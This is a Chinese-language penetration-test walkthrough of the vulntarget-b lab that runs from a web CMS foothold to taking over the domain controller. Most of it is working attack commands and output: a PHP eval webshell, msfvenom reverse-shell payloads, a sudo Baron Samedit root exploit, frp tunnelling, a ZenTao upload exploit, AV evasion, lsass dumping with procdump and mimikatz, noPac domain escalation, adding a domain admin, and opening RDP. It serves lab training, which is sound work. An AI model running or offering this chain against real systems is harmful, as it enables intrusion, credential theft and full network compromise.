免責申明
本公眾號的技術文章僅供參考,此文所提供的資訊只為網路安全人員對自己所負責的網站、伺服器等(包括但不限於)進行檢測或維護參考,未經授權請勿利用文章中的技術資料對任何計算機系統進行入侵操作。利用此文所提供的資訊而造成的直接或間接後果和損失,均由使用者本人負責。本文所提供的工具僅用於學習,禁止用於其他!!!
靶場介紹
vulntarget-b漏洞靶場是由vulntarget大佬團隊自己設計搭建的靶場,其中涵蓋Web漏洞、主機漏洞、域漏洞、工控漏洞等等。
靶場拓撲
以上拓撲圖僅做參考,實戰中的地址為以下配置:
kali攻擊機:192.168.52.128
win11攻擊機:192.168.52.1
win7應用伺服器:192.168.52.129,10.0.20.30
win10域成員伺服器:10.0.20.66,10.0.10.99
win16域控伺服器: 10.0.10.100
靶場實戰
將應用伺服器的IP地址設定為與攻擊機與Kali同一網段
埠掃描
nmap -sT 192.168.52.129
發現目標開啟了80、81等埠,瀏覽器訪問80、81埠
80埠
81埠
針對81埠進行簡單資訊收集發現當前CMS是極致CMS
訪問admin.php
嘗試弱口令登入,admin/admin123
漏洞利用
檢視相關漏洞文庫發現,極致CMS存在後臺檔案編輯外掛 後臺任意檔案寫入漏洞
漏洞文庫參考:https://www.saury.net/957.html
直接下載、安裝、配置
隨便輸入密碼,進入編輯
再次輸入密碼就會看到原始碼,且可以修改
在index.php檔案中直接加入一句話木馬,例如eval($_POST[xiaoc]);
獲取webshell
新增成功後使用蟻劍連線
執行ipconfig時發現回顯ret= 127
寶塔禁用函式,直接使用蟻劍外掛就可以bypass
選擇“繞過 disable functions”外掛,使用外掛中的“PHP7 GC UAF”
使用“/sbin/ifconfig”檢視當前網路卡地址,存在雙網路卡
MSF上線
利用MSF生成反向連線木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.52.129 LPORT=5555 -f elf > 5555.elf
將生成的木馬上傳到目標應用伺服器
在kali攻擊機上監聽5555埠,並直接執行目標伺服器上的木馬
獲取MSF會話成功
centos7 提權
由於當前許可權是www許可權,需要提升許可權
尋找可以提權的模組,共找到7個模組
run post/multi/recon/local_exploit_suggester
使用exploit/linux/local/sudo_baron_samedit模組提權,大佬的沒有成功,使用解密的password登入伺服器重寫執行5555.elf檔案,就可以獲取到root許可權
我這邊直接獲取到root許可權
*] Started reverse TCP handler on 0.0.0.0:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. sudo 1.8.23 is a vulnerable build.
[*] Writing '/tmp/NqGUgg.py' (23630 bytes) ...
[*] A successful exploit will create a new root user msf with password lefipzbnlzhagow
[*] Brute forcing ASLR (can take several minutes)...
[+] Success! Created new user msf with password lefipzbnlzhagow
[*] Writing '/tmp/KDjo4bmF' (266 bytes) ...
[*] Sending stage (3045380 bytes) to 192.168.52.129
[+] Deleted /tmp/NqGUgg.py
[+] Deleted /tmp/KDjo4bmF
[*] Cleaning up /etc/passwd
[*] Meterpreter session 2 opened (192.168.52.128:5555 -> 192.168.52.129:59198) at 2024-06-20 09:05:19 +0800
meterpreter > getuid
Server username: root
使用模組:auxiliary/scanner/portscan/tcp 進行同C段埠探測
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 10.0.20.30: - 10.0.20.30:80 - TCP OPEN
[+] 10.0.20.30: - 10.0.20.30:21 - TCP OPEN
[+] 10.0.20.30: - 10.0.20.30:22 - TCP OPEN
[*] 10.0.20.0/24: - Scanned 31 of 256 hosts (12% complete)
[*] 10.0.20.0/24: - Scanned 61 of 256 hosts (23% complete)
[+] 10.0.20.66: - 10.0.20.66:8080 - TCP OPEN
[*] 10.0.20.0/24: - Scanned 90 of 256 hosts (35% complete)
[*] 10.0.20.0/24: - Scanned 119 of 256 hosts (46% complete)
[*] 10.0.20.0/24: - Scanned 134 of 256 hosts (52% complete)
[*] 10.0.20.0/24: - Scanned 155 of 256 hosts (60% complete)
[*] 10.0.20.0/24: - Scanned 181 of 256 hosts (70% complete)
[*] 10.0.20.0/24: - Scanned 211 of 256 hosts (82% complete)
[*] 10.0.20.0/24: - Scanned 241 of 256 hosts (94% complete)
[*] 10.0.20.0/24: - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
發現在同一網段10.0.20.66開啟了8080埠
frp使用
msf代理在蟻劍的地方,上傳大一點的檔案經常會報錯,所以使用frp代理穩定一點
在kali執行frps,frps.ini配置檔案為
[common]
bind_ip = 10.30.7.77 //kali IP
bind_port = 7000
在kali執行
./frps -c frps.ini
將frpc、socks.ini上傳到目標伺服器
socks.ini的配置如下:
[common]
server_addr = 192.168.52.128
server_port = 7001
[socks_proxy]
type = tcp
remote_port =8888
plugin = socks5
在目標伺服器執行frpc
./frpc -c socks.ini
命令執行後,kali顯示success
代理frp流量訪問8080埠,admin/Admin123進入後臺
拿下域成員win10
獲取當前禪道版本號12.4.2,禪道 12.4.2 存在後臺任意檔案上傳漏洞 #CNVD-C-2020-121325
也可以透過訪問http://10.0.20.66:8080/index.php?mode=getconfig獲取版本資訊
在應用伺服器上開啟python的http服務
python -c 'import pty; pty.spawn("/bin/bash")' //互動式
python -m SimpleHTTPServer 4567
將1.php一句話木馬上傳到應用伺服器上
訪問http://10.0.20.30:4567/1.php 可以直接下載木馬
根據漏洞利用的要求需要對HTTP://10.0.20.30:4567/1.php進行Base64編碼
HTTP://10.0.20.30:4567/1.php ==> aHR0cDovLzEwLjAuMjAuMzA6NDU2Ny8xLnBocA==
base64線上編碼網址:https://base64.us/
利用POC1,不成功
利用poc2,儲存成功
蟻劍連線成功!!!!!需要使用frp socks5代理
火絨免殺 MSF上線
生成反向連線木馬
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.20.33 LPORT=5555 -f exe -o ceshi.exe
對木馬進行免殺處理
需要使用提權後的session會話新增路由,要不然不能反彈shell
進入session2執行如下命令:
run autoroute -s 10.0.20.66/24
run autoroute -s 10.0.20.30/24
新增路由
獲取最低許可權 iis apppool\zentao
win10提權
使用MSF自帶的提權工具
meterpreter > run post/multi/recon/local_exploit_suggester
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/windows/local/bits_ntlm_token_impersonation Yes The target appears to be vulnerable.
2 exploit/windows/local/bypassuac_fodhelper Yes The target appears to be vulnerable.
3 exploit/windows/local/bypassuac_sluihijack Yes The target appears to be vulnerable.
4 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move Yes The target appears to be vulnerable. Vulnerable Windows 10 v1909 build detected!
5 exploit/windows/local/cve_2020_1048_printerdemon Yes The target appears to be vulnerable.
6 exploit/windows/local/cve_2020_1337_printerdemon Yes The target appears to be vulnerable.
7 exploit/windows/local/ms16_075_reflection Yes The target appears to be vulnerable.
都嘗試了好像不行
上傳提權工具 cve-2021-1732.exe
直接用cve-2021-1732.exe執行木馬
成功獲取管理員許可權
sysinfo檢視系統資訊,當前系統為X64,需要做程序遷移到X64程序上
kiwi模組同時支援32位和64位的系統,但是該模組預設是載入32位的系統,所以如果目標主機是64位系統的話,直接預設載入該模組會導致很多功能無法使用。所以如果目標系統是64位的,則必須先檢視系統程序列表,然後將meterpreter程序遷移到一個64位程式的程序中,才能載入kiwi並且檢視系統明文。如果目標系統是32位的,則沒有這個限制。
把程序遷移到 PID為844的程序
meterpreter > migrate 844
[*] Migrating from 4488 to 844...
[*] Migration completed successfully.
載入kiwi:load kiwi
讀取憑據:creds_all
獲取到本地管理密碼和域控密碼
獲取域成員密碼另一種方法
原文章是沒有讀取到域成員密碼的,在沒有獲取域成員密碼時,可採取如下方法:
上傳procdump64.exe
meterpreter > upload /home/kali/procdump64.exe
[*] Uploading : /home/kali/procdump64.exe -> procdump64.exe
[*] Uploaded 414.90 KiB of 414.90 KiB (100.0%): /home/kali/procdump64.exe -> procdump64.exe
[*] Completed : /home/kali/procdump64.exe -> procdump64.exe
執行命令下載lsass檔案
C:\Windows\system32>procdump64.exe -accepteula -ma lsass.exe lsass.dmp
下載lsass到本地
meterpreter > download lsass.dmp
使用mimikatz.exe讀取密碼
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
獲取域控win2016
CVE-2021-42287/CVE-2021-42278
得到win101的密碼之後,使用最近的爆出的域內提權拿下域控,先上傳nopac.exe
定位域控主機
獲取到域控IP和hostname
獲取票據
noPac.exe -domain vulntarget.com -user win101 -pass admin#123 /dc WIN-UH20PRD3EAO.vulntarget.com /mAccount test2 /mPassword admin@123 /service cifs /ptt
列域控目錄
dir \\WIN-UH20PRD3EAO.vulntarget.com\c$
上傳psexec,遠端過去
新增一個域管賬號
net user admin QWEasd@123 /add /domain
net group "Domain Admins" admin /add /domain
使用賬密的psexec
PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe
開啟win10遠端,登入試試,修改防火牆策略
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
開啟遠端
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
再次執行,可以連線上
PsExec64.exe \\10.0.10.100 -u vulntarget\admin -p QWEasd@123 -s cmd.exe
拿下域控伺服器!!!!!!!